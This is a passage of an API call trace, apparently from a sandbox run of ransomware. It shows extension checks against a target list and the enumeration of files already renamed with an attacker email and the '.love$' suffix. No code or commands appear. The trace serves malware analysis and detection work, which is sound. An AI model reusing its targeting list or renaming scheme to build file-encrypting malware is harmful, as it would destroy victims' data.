lstrcmpiW (lpString1=".csv", lpString2="ove$") returned -1 [0222.750] lstrlenW (lpString=".cub") returned 4 [0222.750] lstrcmpiW (lpString1=".cub", lpString2="ove$") returned -1 [0222.750] lstrlenW (lpString=".dae") returned 4 [0222.750] lstrcmpiW (lpString1=".dae", lpString2="ove$") returned -1 [0222.750] lstrlenW (lpString=".dat") returned 4 [0222.750] lstrcmpiW (lpString1=".dat", lpString2="ove$") returned -1 [0222.750] lstrlenW (lpString=".db") returned 3 [0222.750] lstrcmpiW (lpString1=".db", lpString2="ve$") returned -1 [0222.750] lstrlenW (lpString=".dbf") returned 4 [0222.750] lstrcmpiW (lpString1=".dbf", lpString2="ove$") returned -1 [0222.750] lstrlenW (lpString=".dbx") returned 4 [0222.750] lstrcmpiW (lpString1=".dbx", lpString2="ove$") returned -1 [0222.750] lstrlenW (lpString=".dc3") returned 4 [0222.750] lstrcmpiW (lpString1=".dc3", lpString2="ove$") returned -1 [0222.750] lstrlenW (lpString=".dcm") returned 4 [0222.750] lstrcmpiW (lpString1=".dcm", lpString2="ove$") returned -1 [0222.750] lstrlenW (lpString=".dcr") returned 4 [0222.750] lstrcmpiW (lpString1=".dcr", lpString2="ove$") returned -1 [0222.750] lstrlenW (lpString=".der") returned 4 [0222.750] lstrcmpiW (lpString1=".der", lpString2="ove$") returned -1 [0222.750] lstrlenW (lpString=".dib") returned 4 [0222.750] lstrcmpiW (lpString1=".dib", lpString2="ove$") returned -1 [0222.750] lstrlenW (lpString=".dic") returned 4 [0222.750] lstrcmpiW (lpString1=".dic", lpString2="ove$") returned -1 [0222.750] lstrlenW (lpString=".dif") returned 4 [0222.750] lstrcmpiW (lpString1=".dif", lpString2="ove$") returned -1 [0222.750] lstrlenW (lpString=".divx") returned 5 [0222.750] lstrcmpiW (lpString1=".divx", lpString2="love$") returned -1 [0222.750] lstrlenW (lpString=".djvu") returned 5 [0222.750] lstrcmpiW (lpString1=".djvu", lpString2="love$") returned -1 [0222.750] lstrlenW (lpString=".dng") returned 4 [0222.751] lstrcmpiW (lpString1=".dng", lpString2="ove$") returned -1 [0222.751] lstrlenW (lpString=".doc") returned 4 [0222.751] lstrcmpiW (lpString1=".doc", lpString2="ove$") returned -1 [0222.751] lstrlenW (lpString=".docm") returned 5 [0222.751] lstrcmpiW (lpString1=".docm", lpString2="love$") returned -1 [0222.751] lstrlenW (lpString=".docx") returned 5 [0222.751] lstrcmpiW (lpString1=".docx", lpString2="love$") returned -1 [0222.751] lstrlenW (lpString=".dot") returned 4 [0222.751] lstrcmpiW (lpString1=".dot", lpString2="ove$") returned -1 [0222.751] lstrlenW (lpString=".dotm") returned 5 [0222.751] lstrcmpiW (lpString1=".dotm", lpString2="love$") returned -1 [0222.751] lstrlenW (lpString=".dotx") returned 5 [0222.751] lstrcmpiW (lpString1=".dotx", lpString2="love$") returned -1 [0222.751] lstrlenW (lpString=".dpx") returned 4 [0222.751] lstrcmpiW (lpString1=".dpx", lpString2="ove$") returned -1 [0222.751] lstrlenW (lpString=".dqy") returned 4 [0222.751] lstrcmpiW (lpString1=".dqy", lpString2="ove$") returned -1 [0222.751] lstrlenW (lpString=".dsn") returned 4 [0222.751] lstrcmpiW (lpString1=".dsn", lpString2="ove$") returned -1 [0222.751] lstrlenW (lpString=".dt") returned 3 [0222.751] lstrcmpiW (lpString1=".dt", lpString2="ve$") returned -1 [0222.751] lstrlenW (lpString=".dtd") returned 4 [0222.751] lstrcmpiW (lpString1=".dtd", lpString2="ove$") returned -1 [0222.751] lstrlenW (lpString=".dwg") returned 4 [0222.751] lstrcmpiW (lpString1=".dwg", lpString2="ove$") returned -1 [0222.751] lstrlenW (lpString=".dwt") returned 4 [0222.751] lstrcmpiW (lpString1=".dwt", lpString2="ove$") returned -1 [0222.751] lstrlenW (lpString=".dx") returned 3 [0222.751] lstrcmpiW (lpString1=".dx", lpString2="ve$") returned -1 [0222.751] lstrlenW (lpString=".dxf") returned 4 [0222.751] lstrcmpiW (lpString1=".dxf", lpString2="ove$") returned -1 [0222.752] lstrlenW (lpString=".edml") returned 5 [0222.752] lstrcmpiW (lpString1=".edml", lpString2="love$") returned -1 [0222.752] lstrlenW (lpString=".efd") returned 4 [0222.752] lstrcmpiW (lpString1=".efd", lpString2="ove$") returned -1 [0222.752] lstrlenW (lpString=".elf") returned 4 [0222.752] lstrcmpiW (lpString1=".elf", lpString2="ove$") returned -1 [0222.752] lstrlenW (lpString=".emf") returned 4 [0222.752] lstrcmpiW (lpString1=".emf", lpString2="ove$") returned -1 [0222.752] lstrlenW (lpString=".emz") returned 4 [0222.752] lstrcmpiW (lpString1=".emz", lpString2="ove$") returned -1 [0222.752] lstrlenW (lpString=".epf") returned 4 [0222.752] lstrcmpiW (lpString1=".epf", lpString2="ove$") returned -1 [0222.752] lstrlenW (lpString=".eps") returned 4 [0222.752] lstrcmpiW (lpString1=".eps", lpString2="ove$") returned -1 [0222.752] lstrlenW (lpString=".epsf") returned 5 [0222.752] lstrcmpiW (lpString1=".epsf", lpString2="love$") returned -1 [0222.752] lstrlenW (lpString=".epsp") returned 5 [0222.752] lstrcmpiW (lpString1=".epsp", lpString2="love$") returned -1 [0222.752] lstrlenW (lpString=".erf") returned 4 [0222.752] lstrcmpiW (lpString1=".erf", lpString2="ove$") returned -1 [0222.752] lstrlenW (lpString=".exr") returned 4 [0222.752] lstrcmpiW (lpString1=".exr", lpString2="ove$") returned -1 [0222.752] lstrlenW (lpString=".f4v") returned 4 [0222.752] lstrcmpiW (lpString1=".f4v", lpString2="ove$") returned -1 [0222.752] lstrlenW (lpString=".fido") returned 5 [0222.752] lstrcmpiW (lpString1=".fido", lpString2="love$") returned -1 [0222.752] lstrlenW (lpString=".flm") returned 4 [0222.752] lstrcmpiW (lpString1=".flm", lpString2="ove$") returned -1 [0222.752] lstrlenW (lpString=".flv") returned 4 [0222.752] lstrcmpiW (lpString1=".flv", lpString2="ove$") returned -1 [0222.752] lstrlenW (lpString=".frm") returned 4 [0222.752] lstrcmpiW (lpString1=".frm", lpString2="ove$") returned -1 [0222.753] lstrlenW (lpString=".fxg") returned 4 [0222.753] lstrcmpiW (lpString1=".fxg", lpString2="ove$") returned -1 [0222.753] lstrlenW (lpString=".geo") returned 4 [0222.753] lstrcmpiW (lpString1=".geo", lpString2="ove$") returned -1 [0222.753] lstrlenW (lpString=".gif") returned 4 [0222.753] lstrcmpiW (lpString1=".gif", lpString2="ove$") returned -1 [0222.753] lstrlenW (lpString=".grs") returned 4 [0222.753] lstrcmpiW (lpString1=".grs", lpString2="ove$") returned -1 [0222.753] lstrlenW (lpString=".gz") returned 3 [0222.753] lstrcmpiW (lpString1=".gz", lpString2="ve$") returned -1 [0222.753] lstrlenW (lpString=".h") returned 2 [0222.753] lstrcmpiW (lpString1=".h", lpString2="e$") returned -1 [0222.753] lstrlenW (lpString=".hdr") returned 4 [0222.753] lstrcmpiW (lpString1=".hdr", lpString2="ove$") returned -1 [0222.753] lstrlenW (lpString=".hpp") returned 4 [0222.753] lstrcmpiW (lpString1=".hpp", lpString2="ove$") returned -1 [0222.753] lstrlenW (lpString=".hta") returned 4 [0222.753] lstrcmpiW (lpString1=".hta", lpString2="ove$") returned -1 [0222.753] lstrlenW (lpString=".htc") returned 4 [0222.753] lstrcmpiW (lpString1=".htc", lpString2="ove$") returned -1 [0222.753] lstrlenW (lpString=".htm") returned 4 [0222.753] lstrcmpiW (lpString1=".htm", lpString2="ove$") returned -1 [0222.753] lstrlenW (lpString=".html") returned 5 [0222.753] lstrcmpiW (lpString1=".html", lpString2="love$") returned -1 [0222.753] lstrlenW (lpString=".icb") returned 4 [0222.753] lstrcmpiW (lpString1=".icb", lpString2="ove$") returned -1 [0222.753] lstrlenW (lpString=".ics") returned 4 [0222.753] lstrcmpiW (lpString1=".ics", lpString2="ove$") returned -1 [0222.753] lstrlenW (lpString=".iff") returned 4 [0222.753] lstrcmpiW (lpString1=".iff", lpString2="ove$") returned -1 [0222.753] lstrlenW (lpString=".inc") returned 4 [0222.754] lstrcmpiW (lpString1=".inc", lpString2="ove$") returned -1 [0222.754] lstrlenW (lpString=".indd") returned 5 [0222.754] lstrcmpiW (lpString1=".indd", lpString2="love$") returned -1 [0222.754] lstrlenW (lpString=".ini") returned 4 [0222.754] lstrcmpiW (lpString1=".ini", lpString2="ove$") returned -1 [0222.754] lstrlenW (lpString=".iqy") returned 4 [0222.754] lstrcmpiW (lpString1=".iqy", lpString2="ove$") returned -1 [0222.754] lstrlenW (lpString=".j2c") returned 4 [0222.754] lstrcmpiW (lpString1=".j2c", lpString2="ove$") returned -1 [0222.754] lstrlenW (lpString=".j2k") returned 4 [0222.754] lstrcmpiW (lpString1=".j2k", lpString2="ove$") returned -1 [0222.754] lstrlenW (lpString=".java") returned 5 [0222.754] lstrcmpiW (lpString1=".java", lpString2="love$") returned -1 [0222.754] lstrlenW (lpString=".jp2") returned 4 [0222.754] lstrcmpiW (lpString1=".jp2", lpString2="ove$") returned -1 [0222.754] lstrlenW (lpString=".jpc") returned 4 [0222.754] lstrcmpiW (lpString1=".jpc", lpString2="ove$") returned -1 [0222.754] lstrlenW (lpString=".jpe") returned 4 [0222.754] lstrcmpiW (lpString1=".jpe", lpString2="ove$") returned -1 [0222.754] lstrlenW (lpString=".jpeg") returned 5 [0222.754] lstrcmpiW (lpString1=".jpeg", lpString2="love$") returned -1 [0222.754] lstrlenW (lpString=".jpf") returned 4 [0222.754] lstrcmpiW (lpString1=".jpf", lpString2="ove$") returned -1 [0222.754] lstrlenW (lpString=".jpg") returned 4 [0222.754] lstrcmpiW (lpString1=".jpg", lpString2="ove$") returned -1 [0222.754] lstrlenW (lpString=".jpx") returned 4 [0222.754] lstrcmpiW (lpString1=".jpx", lpString2="ove$") returned -1 [0222.754] lstrlenW (lpString=".js") returned 3 [0222.754] lstrcmpiW (lpString1=".js", lpString2="ve$") returned -1 [0222.755] lstrlenW (lpString=".jsf") returned 4 [0222.755] lstrcmpiW (lpString1=".jsf", lpString2="ove$") returned -1 [0222.755] lstrlenW (lpString=".json") returned 5 [0222.755] lstrcmpiW (lpString1=".json", lpString2="love$") returned -1 [0222.755] lstrlenW (lpString=".jsp") returned 4 [0222.755] lstrcmpiW (lpString1=".jsp", lpString2="ove$") returned -1 [0222.755] lstrlenW (lpString=".kdc") returned 4 [0222.755] lstrcmpiW (lpString1=".kdc", lpString2="ove$") returned -1 [0222.755] lstrlenW (lpString=".kmz") returned 4 [0222.755] lstrcmpiW (lpString1=".kmz", lpString2="ove$") returned -1 [0222.755] lstrlenW (lpString=".kwm") returned 4 [0222.755] lstrcmpiW (lpString1=".kwm", lpString2="ove$") returned -1 [0222.755] lstrlenW (lpString=".lasso") returned 6 [0222.755] lstrcmpiW (lpString1=".lasso", lpString2=".love$") returned -1 [0222.755] lstrlenW (lpString=".lbi") returned 4 [0222.755] lstrcmpiW (lpString1=".lbi", lpString2="ove$") returned -1 [0222.755] lstrlenW (lpString=".lgf") returned 4 [0222.755] lstrcmpiW (lpString1=".lgf", lpString2="ove$") returned -1 [0222.755] lstrlenW (lpString=".lgp") returned 4 [0222.755] lstrcmpiW (lpString1=".lgp", lpString2="ove$") returned -1 [0222.755] lstrlenW (lpString=".log") returned 4 [0222.755] lstrcmpiW (lpString1=".log", lpString2="ove$") returned -1 [0222.755] lstrlenW (lpString=".m1v") returned 4 [0222.755] lstrcmpiW (lpString1=".m1v", lpString2="ove$") returned -1 [0222.755] lstrlenW (lpString=".m4a") returned 4 [0222.755] lstrcmpiW (lpString1=".m4a", lpString2="ove$") returned -1 [0222.755] lstrlenW (lpString=".m4v") returned 4 [0222.755] lstrcmpiW (lpString1=".m4v", lpString2="ove$") returned -1 [0222.755] lstrlenW (lpString=".max") returned 4 [0222.755] lstrcmpiW (lpString1=".max", lpString2="ove$") returned -1 [0222.755] lstrlenW (lpString=".md") returned 3 [0222.756] lstrcmpiW (lpString1=".md", lpString2="ve$") returned -1 [0222.756] lstrlenW (lpString=".mda") returned 4 [0222.756] lstrcmpiW (lpString1=".mda", lpString2="ove$") returned -1 [0222.756] lstrlenW (lpString=".mdb") returned 4 [0222.756] lstrcmpiW (lpString1=".mdb", lpString2="ove$") returned -1 [0222.756] lstrlenW (lpString=".mde") returned 4 [0222.756] lstrcmpiW (lpString1=".mde", lpString2="ove$") returned -1 [0222.756] lstrlenW (lpString=".mdf") returned 4 [0222.756] lstrcmpiW (lpString1=".mdf", lpString2="ove$") returned -1 [0222.756] lstrlenW (lpString=".mdw") returned 4 [0222.756] lstrcmpiW (lpString1=".mdw", lpString2="ove$") returned -1 [0222.756] lstrlenW (lpString=".mef") returned 4 [0222.756] lstrcmpiW (lpString1=".mef", lpString2="ove$") returned -1 [0222.756] lstrlenW (lpString=".mft") returned 4 [0222.756] lstrcmpiW (lpString1=".mft", lpString2="ove$") returned -1 [0222.756] lstrlenW (lpString=".mfw") returned 4 [0222.756] lstrcmpiW (lpString1=".mfw", lpString2="ove$") returned -1 [0222.756] lstrlenW (lpString=".mht") returned 4 [0222.756] lstrcmpiW (lpString1=".mht", lpString2="ove$") returned -1 [0222.756] lstrlenW (lpString=".mhtml") returned 6 [0222.756] lstrcmpiW (lpString1=".mhtml", lpString2=".love$") returned 1 [0222.756] lstrlenW (lpString=".mka") returned 4 [0222.756] lstrcmpiW (lpString1=".mka", lpString2="ove$") returned -1 [0222.756] lstrlenW (lpString=".mkidx") returned 6 [0222.756] lstrcmpiW (lpString1=".mkidx", lpString2=".love$") returned 1 [0222.756] lstrlenW (lpString=".mkv") returned 4 [0222.756] lstrcmpiW (lpString1=".mkv", lpString2="ove$") returned -1 [0222.756] lstrlenW (lpString=".mos") returned 4 [0222.756] lstrcmpiW (lpString1=".mos", lpString2="ove$") returned -1 [0222.757] lstrlenW (lpString=".mov") returned 4 [0222.757] lstrcmpiW (lpString1=".mov", lpString2="ove$") returned -1 [0222.757] lstrlenW (lpString=".mp3") returned 4 [0222.757] lstrcmpiW (lpString1=".mp3", lpString2="ove$") returned -1 [0222.757] lstrlenW (lpString=".mp4") returned 4 [0222.757] lstrcmpiW (lpString1=".mp4", lpString2="ove$") returned -1 [0222.757] lstrlenW (lpString=".mpeg") returned 5 [0222.757] lstrcmpiW (lpString1=".mpeg", lpString2="love$") returned -1 [0222.757] lstrlenW (lpString=".mpg") returned 4 [0222.757] lstrcmpiW (lpString1=".mpg", lpString2="ove$") returned -1 [0222.757] lstrlenW (lpString=".mpv") returned 4 [0222.757] lstrcmpiW (lpString1=".mpv", lpString2="ove$") returned -1 [0222.757] lstrlenW (lpString=".mrw") returned 4 [0222.757] lstrcmpiW (lpString1=".mrw", lpString2="ove$") returned -1 [0222.757] lstrlenW (lpString=".msg") returned 4 [0222.757] lstrcmpiW (lpString1=".msg", lpString2="ove$") returned -1 [0222.757] lstrlenW (lpString=".mxl") returned 4 [0222.757] lstrcmpiW (lpString1=".mxl", lpString2="ove$") returned -1 [0222.757] lstrlenW (lpString=".myd") returned 4 [0222.757] lstrcmpiW (lpString1=".myd", lpString2="ove$") returned -1 [0222.757] lstrlenW (lpString=".myi") returned 4 [0222.757] lstrcmpiW (lpString1=".myi", lpString2="ove$") returned -1 [0222.757] lstrlenW (lpString=".nef") returned 4 [0222.757] lstrcmpiW (lpString1=".nef", lpString2="ove$") returned -1 [0222.757] lstrlenW (lpString=".nrw") returned 4 [0222.757] lstrcmpiW (lpString1=".nrw", lpString2="ove$") returned -1 [0222.757] lstrlenW (lpString=".obj") returned 4 [0222.757] lstrcmpiW (lpString1=".obj", lpString2="ove$") returned -1 [0222.757] lstrlenW (lpString=".odb") returned 4 [0222.757] lstrcmpiW (lpString1=".odb", lpString2="ove$") returned -1 [0222.758] lstrlenW (lpString=".odc") returned 4 [0222.758] lstrcmpiW (lpString1=".odc", lpString2="ove$") returned -1 [0222.758] lstrlenW (lpString=".odm") returned 4 [0222.758] lstrcmpiW (lpString1=".odm", lpString2="ove$") returned -1 [0222.758] lstrlenW (lpString=".odp") returned 4 [0222.758] lstrcmpiW (lpString1=".odp", lpString2="ove$") returned -1 [0222.758] lstrlenW (lpString=".ods") returned 4 [0222.758] lstrcmpiW (lpString1=".ods", lpString2="ove$") returned -1 [0222.758] lstrlenW (lpString=".oft") returned 4 [0222.758] lstrcmpiW (lpString1=".oft", lpString2="ove$") returned -1 [0222.758] lstrlenW (lpString=".one") returned 4 [0222.758] lstrcmpiW (lpString1=".one", lpString2="ove$") returned -1 [0222.758] lstrlenW (lpString=".onepkg") returned 7 [0222.758] lstrcmpiW (lpString1=".onepkg", lpString2="].love$") returned -1 [0222.758] lstrlenW (lpString=".onetoc2") returned 8 [0222.758] lstrcmpiW (lpString1=".onetoc2", lpString2="m].love$") returned -1 [0222.758] lstrlenW (lpString=".opt") returned 4 [0222.758] lstrcmpiW (lpString1=".opt", lpString2="ove$") returned -1 [0222.758] lstrlenW (lpString=".oqy") returned 4 [0222.758] lstrcmpiW (lpString1=".oqy", lpString2="ove$") returned -1 [0222.758] lstrlenW (lpString=".orf") returned 4 [0222.758] lstrcmpiW (lpString1=".orf", lpString2="ove$") returned -1 [0222.758] lstrlenW (lpString=".p12") returned 4 [0222.758] lstrcmpiW (lpString1=".p12", lpString2="ove$") returned -1 [0222.758] lstrlenW (lpString=".p7b") returned 4 [0222.758] lstrcmpiW (lpString1=".p7b", lpString2="ove$") returned -1 [0222.758] lstrlenW (lpString=".p7c") returned 4 [0222.758] lstrcmpiW (lpString1=".p7c", lpString2="ove$") returned -1 [0222.758] lstrlenW (lpString=".pam") returned 4 [0222.758] lstrcmpiW (lpString1=".pam", lpString2="ove$") returned -1 [0222.759] lstrlenW (lpString=".pbm") returned 4 [0222.759] lstrcmpiW (lpString1=".pbm", lpString2="ove$") returned -1 [0222.759] lstrlenW (lpString=".pct") returned 4 [0222.759] lstrcmpiW (lpString1=".pct", lpString2="ove$") returned -1 [0222.759] lstrlenW (lpString=".pcx") returned 4 [0222.759] lstrcmpiW (lpString1=".pcx", lpString2="ove$") returned -1 [0222.759] lstrlenW (lpString=".pdd") returned 4 [0222.759] lstrcmpiW (lpString1=".pdd", lpString2="ove$") returned -1 [0222.759] lstrlenW (lpString=".pdf") returned 4 [0222.759] lstrcmpiW (lpString1=".pdf", lpString2="ove$") returned -1 [0222.759] lstrlenW (lpString=".pdp") returned 4 [0222.759] lstrcmpiW (lpString1=".pdp", lpString2="ove$") returned -1 [0222.759] lstrlenW (lpString=".pef") returned 4 [0222.759] lstrcmpiW (lpString1=".pef", lpString2="ove$") returned -1 [0222.759] lstrlenW (lpString=".pem") returned 4 [0222.759] lstrcmpiW (lpString1=".pem", lpString2="ove$") returned -1 [0222.759] lstrlenW (lpString=".pff") returned 4 [0222.759] lstrcmpiW (lpString1=".pff", lpString2="ove$") returned -1 [0222.759] lstrlenW (lpString=".pfm") returned 4 [0222.759] lstrcmpiW (lpString1=".pfm", lpString2="ove$") returned -1 [0222.759] lstrlenW (lpString=".pfx") returned 4 [0222.759] lstrcmpiW (lpString1=".pfx", lpString2="ove$") returned -1 [0222.759] lstrlenW (lpString=".pgm") returned 4 [0222.759] lstrcmpiW (lpString1=".pgm", lpString2="ove$") returned -1 [0222.759] lstrlenW (lpString=".php") returned 4 [0222.759] lstrcmpiW (lpString1=".php", lpString2="ove$") returned -1 [0222.759] lstrlenW (lpString=".php3") returned 5 [0222.759] lstrcmpiW (lpString1=".php3", lpString2="love$") returned -1 [0222.759] lstrlenW (lpString=".php4") returned 5 [0222.759] lstrcmpiW (lpString1=".php4", lpString2="love$") returned -1 [0222.759] lstrlenW (lpString=".php5") returned 5 [0222.760] lstrcmpiW (lpString1=".php5", lpString2="love$") returned -1 [0222.760] lstrlenW (lpString=".phtml") returned 6 [0222.760] lstrcmpiW (lpString1=".phtml", lpString2=".love$") returned 1 [0222.760] lstrlenW (lpString=".pict") returned 5 [0222.760] lstrcmpiW (lpString1=".pict", lpString2="love$") returned -1 [0222.760] lstrlenW (lpString=".pl") returned 3 [0222.760] lstrcmpiW (lpString1=".pl", lpString2="ve$") returned -1 [0222.760] lstrlenW (lpString=".pls") returned 4 [0222.760] lstrcmpiW (lpString1=".pls", lpString2="ove$") returned -1 [0222.760] lstrlenW (lpString=".pm") returned 3 [0222.760] lstrcmpiW (lpString1=".pm", lpString2="ve$") returned -1 [0222.760] lstrlenW (lpString=".png") returned 4 [0222.760] lstrcmpiW (lpString1=".png", lpString2="ove$") returned -1 [0222.760] lstrlenW (lpString=".pnm") returned 4 [0222.760] lstrcmpiW (lpString1=".pnm", lpString2="ove$") returned -1 [0222.760] lstrlenW (lpString=".pot") returned 4 [0222.760] lstrcmpiW (lpString1=".pot", lpString2="ove$") returned -1 [0222.760] lstrlenW (lpString=".potm") returned 5 [0222.760] lstrcmpiW (lpString1=".potm", lpString2="love$") returned -1 [0222.760] lstrlenW (lpString=".potx") returned 5 [0222.760] lstrcmpiW (lpString1=".potx", lpString2="love$") returned -1 [0222.760] lstrlenW (lpString=".ppa") returned 4 [0222.760] lstrcmpiW (lpString1=".ppa", lpString2="ove$") returned -1 [0222.760] lstrlenW (lpString=".ppam") returned 5 [0222.760] lstrcmpiW (lpString1=".ppam", lpString2="love$") returned -1 [0222.760] lstrlenW (lpString=".ppm") returned 4 [0222.760] lstrcmpiW (lpString1=".ppm", lpString2="ove$") returned -1 [0222.760] lstrlenW (lpString=".pps") returned 4 [0222.760] lstrcmpiW (lpString1=".pps", lpString2="ove$") returned -1 [0222.760] lstrlenW (lpString=".ppsm") returned 5 [0222.760] lstrcmpiW (lpString1=".ppsm", lpString2="love$") returned -1 [0222.761] lstrlenW (lpString=".ppt") returned 4 [0222.761] lstrcmpiW (lpString1=".ppt", lpString2="ove$") returned -1 [0222.761] lstrlenW (lpString=".pptm") returned 5 [0222.761] lstrcmpiW (lpString1=".pptm", lpString2="love$") returned -1 [0222.761] lstrlenW (lpString=".pptx") returned 5 [0222.761] lstrcmpiW (lpString1=".pptx", lpString2="love$") returned -1 [0222.761] lstrlenW (lpString=".prn") returned 4 [0222.761] lstrcmpiW (lpString1=".prn", lpString2="ove$") returned -1 [0222.761] lstrlenW (lpString=".ps") returned 3 [0222.761] lstrcmpiW (lpString1=".ps", lpString2="ve$") returned -1 [0222.761] lstrlenW (lpString=".psb") returned 4 [0222.761] lstrcmpiW (lpString1=".psb", lpString2="ove$") returned -1 [0222.761] lstrlenW (lpString=".psd") returned 4 [0222.761] lstrcmpiW (lpString1=".psd", lpString2="ove$") returned -1 [0222.761] lstrlenW (lpString=".pst") returned 4 [0222.761] lstrcmpiW (lpString1=".pst", lpString2="ove$") returned -1 [0222.761] lstrlenW (lpString=".ptx") returned 4 [0222.761] lstrcmpiW (lpString1=".ptx", lpString2="ove$") returned -1 [0222.761] lstrlenW (lpString=".pub") returned 4 [0222.761] lstrcmpiW (lpString1=".pub", lpString2="ove$") returned -1 [0222.761] lstrlenW (lpString=".pwm") returned 4 [0222.761] lstrcmpiW (lpString1=".pwm", lpString2="ove$") returned -1 [0222.761] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa44745f6, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa44745f6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa449a7c8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1894, dwReserved0=0xffffe7f5, dwReserved1=0x3f1, cFileName="oobe_2017_09_07_03_08_57_737.log.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="OOBE_2~1.LOV")) returned 1 [0222.761] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa44c09ca, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa44c09ca, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa450d028, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xffffe7f5, dwReserved1=0x3f1, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PARTNE~1.LOV")) returned 1 [0222.762] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa44c09ca, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa44c09ca, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa450d028, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x140, dwReserved0=0xffffe7f5, dwReserved1=0x3f1, cFileName="PartnerSetupCompleteResult.log.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PARTNE~1.LOV")) returned 0 [0222.762] FindClose (in: hFindFile=0x6cffc8 | out: hFindFile=0x6cffc8) returned 1 [0222.763] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0222.763] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xa3f898a0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3f898a0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0222.763] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4101060 [0222.763] FindFirstFileW (in: lpFileName="C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xa3f898a0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3f898a0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe7f5, dwReserved1=0x3f1, cFileName=".", cAlternateFileName="")) returned 0x6d0348 [0222.764] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xa3f898a0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3f898a0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe7f5, dwReserved1=0x3f1, cFileName="..", cAlternateFileName="")) returned 1 [0222.764] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3f3d447, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa3f3d447, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3f898a0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x233c8, dwReserved0=0xffffe7f5, dwReserved1=0x3f1, cFileName="GetCurrentOOBE.dll.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="GETCUR~1.LOV")) returned 1 [0222.765] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa44c09ca, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa44c09ca, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa44c09ca, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xffffe7f5, dwReserved1=0x3f1, cFileName="GetCurrentRollback.ini.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="GETCUR~2.LOV")) returned 1 [0222.765] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa42d0d6d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa42d0d6d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa42f6edb, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x354, dwReserved0=0xffffe7f5, dwReserved1=0x3f1, cFileName="PartnerSetupComplete.cmd.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PARTNE~1.LOV")) returned 1 [0222.765] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43695e8, 